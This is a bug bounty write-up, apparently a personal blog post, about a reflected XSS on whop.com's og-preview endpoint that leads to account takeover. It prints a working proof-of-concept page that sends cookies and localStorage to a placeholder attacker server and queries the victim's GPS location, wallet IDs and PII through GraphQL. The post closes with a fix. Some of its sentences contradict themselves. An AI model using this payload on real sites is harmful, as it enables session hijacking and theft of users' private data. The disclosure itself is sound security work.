Reflected XSS to account takeover on Whop via og-preview

Recently, I found a bug during my bug bounty. Unfortunately, it was a duplicate...

However, still wanted to share since it was a very fun bug!

I found a reflected XSS on whop.com that gives full account takeover with a single click. It was reported through HackerOne.

For context, Whop is a social commerce platform and digital marketplace where creators, influencers, and entrepreneurs can build customized online stores to sell digital products, courses, software subscriptions, and private online communities.

Whop on Crunchbase

The bug

Whop has an endpoint at /api/og-preview that takes a url parameter, fetches it server-side, and serves the response back to the browser with Content-Type: text/html. There was sanitization, sandboxing and CSP frame. The response was served directly on the whop.com origin.

That means if you point it at an attacker-controlled URL hosting arbitrary HTML, the browser executes it as if it came from whop.com.

https://whop.com/api/og-preview?url=https://attacker.example.com/payload.html

Victim clicks the link, attacker's JavaScript runs in the whop.com origin. WHile the cookies had a http-only flag, the attacker could still session ride on the victims-account accessing everything through the api calls with their accounts. ALl of this was done through a thumbnail-previewer!

What you get

From a single click, the attacker's script has access to:

The cookies alone are enough to hijack the session. But the real damage comes from the authenticated API access. From the XSS context you can call any endpoint as the victim, including their GraphQL API:

fetch('/api/graphql/PublicUser/', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    operationName: 'PublicUser',
    query: `query PublicUser {
      publicUser(id: "VICTIM_USER_ID") {
        id username name email
        latitude longitude city country state timezone
        lastSeenAt
        cryptoWallets { edges { node { id } } }
        publicLedgerAccount { id }
      }
    }`
  })
})

That pulls GPS coordinates, crypto wallet IDs, ledger accounts, and PII. You can also generate WebSocket JWTs for real-time access, modify account settings, transfer funds — anything the victim can do, the attacker can do from the script.

The PoC

The payload I used for the report was a self-contained page that demonstrates the full impact. It reads cookies and localStorage, then makes authenticated GraphQL calls to pull the victim's private data:

<html>
<body>
<script>
var uid = (document.cookie.match(/whop-core\.user-id=([^;]+)/) || [])[1];
var traits;
try { traits = JSON.parse(localStorage.getItem('ajs_user_traits')); } catch(e) {}

// Exfiltrate session data
fetch('https://ATTACKER_SERVER/?cookies=' + encodeURIComponent(document.cookie)
  + '&localstorage=' + encodeURIComponent(JSON.stringify(localStorage)));

// Pull victim's private data via authenticated GraphQL
fetch('/api/graphql/PublicUser/', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    operationName: 'PublicUser',
    query: 'query PublicUser { publicUser(id: "' + uid + '") { id name latitude longitude city country timezone lastSeenAt cryptoWallets { edges { node { id } } } publicLedgerAccount { id } } }'
  })
}).then(r => r.json()).then(d => {
  // Attacker now has GPS coords, wallet IDs, and PII
});
</script>
</body>
</html>

Why this works

The og-preview endpoint is meant to generate Open Graph previews — fetch a URL and extract its metadata for link cards. The problem is it returns the fetched content directly as text/html on the whop.com origin instead of parsing out just the OG tags and returning structured data.

The fix is straightforward: either return the OG metadata as JSON, render it in a sandboxed iframe on a throwaway domain, or at minimum set Content-Type: application/json and strip HTML.